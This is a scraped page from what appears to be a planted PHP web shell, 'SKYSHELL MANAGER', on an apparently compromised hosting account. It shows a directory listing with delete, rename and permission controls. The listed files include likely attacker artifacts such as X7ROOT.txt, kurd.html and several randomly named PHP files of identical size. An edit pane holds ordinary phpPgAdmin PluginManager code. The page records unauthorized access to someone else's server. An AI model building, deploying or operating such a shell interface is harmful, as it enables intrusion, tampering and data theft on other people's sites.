📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: PluginManager.php
<?php /** * A class that implements the plugin's system */ class PluginManager { /** * Attributes */ private $plugins_list = array(); private $available_hooks = array( 'head', 'toplinks', 'tabs', 'trail', 'navlinks', 'actionbuttons', 'tree', 'logout' ); private $actions = array(); private $hooks = array(); /** * Register the plugins * @param $language - Language that have been used. */ function __construct($language) { global $conf, $lang; if (! isset($conf['plugins'])) return; // Get the activated plugins $plugins = $conf['plugins']; foreach ($plugins as $activated_plugin) { $plugin_file = './plugins/'.$activated_plugin.'/plugin.php'; // Verify is the activated plugin exists if (file_exists($plugin_file)) { include_once($plugin_file); try { $plugin = new $activated_plugin($language); $this->add_plugin($plugin); } catch (Exception $e) { continue; } } else { printf($lang['strpluginnotfound']."\t\n", $activated_plugin); exit; } } } /** * Add a plugin in the list of plugins to manage * @param $plugin - Instance from plugin */ function add_plugin($plugin) { global $lang; //The $plugin_name is the identification of the plugin. //Example: PluginExample is the identification for PluginExample //It will be used to get a specific plugin from the plugins_list. $plugin_name = $plugin->get_name(); $this->plugins_list[$plugin_name] = $plugin; //Register the plugin's functions $hooks = $plugin->get_hooks(); foreach ($hooks as $hook => $functions) { if (!in_array($hook, $this->available_hooks)) { printf($lang['strhooknotfound']."\t\n", $hook); exit; } $this->hooks[$hook][$plugin_name] = $functions; } //Register the plugin's actions $actions = $plugin->get_actions(); $this->actions[$plugin_name] = $actions; } function getPlugin($plugin) { if (isset($this->plugins_list[$plugin])) return $this->plugins_list[$plugin]; return null; } /** * Execute the plugins hook functions when needed. * @param $hook - The place where the function will be called * @param $function_args - An array reference with arguments to give to called function */ function do_hook($hook, &$function_args) { if (isset($this->hooks[$hook])) { foreach ($this->hooks[$hook] as $plugin_name => $functions) { $plugin = $this->plugins_list[$plugin_name]; foreach ($functions as $function) { if (method_exists($plugin, $function)) { call_user_func(array($plugin, $function), $function_args); } } } } } /** * Execute a plugin's action * @param $plugin_name - The plugin name. * @param $action - action that will be executed. */ function do_action($plugin_name, $action) { global $lang; if (!isset($this->plugins_list[$plugin_name])) { // Show an error and stop the application printf($lang['strpluginnotfound']."\t\n", $plugin_name); exit; } $plugin = $this->plugins_list[$plugin_name]; // Check if the plugin's method exists and if this method is an declared action. if (method_exists($plugin, $action) and in_array($action, $this->actions[$plugin_name])) { call_user_func(array($plugin, $action)); } else { // Show an error and stop the application printf($lang['stractionnotfound']."\t\n", $action, $plugin_name); exit; } } } ?>
Save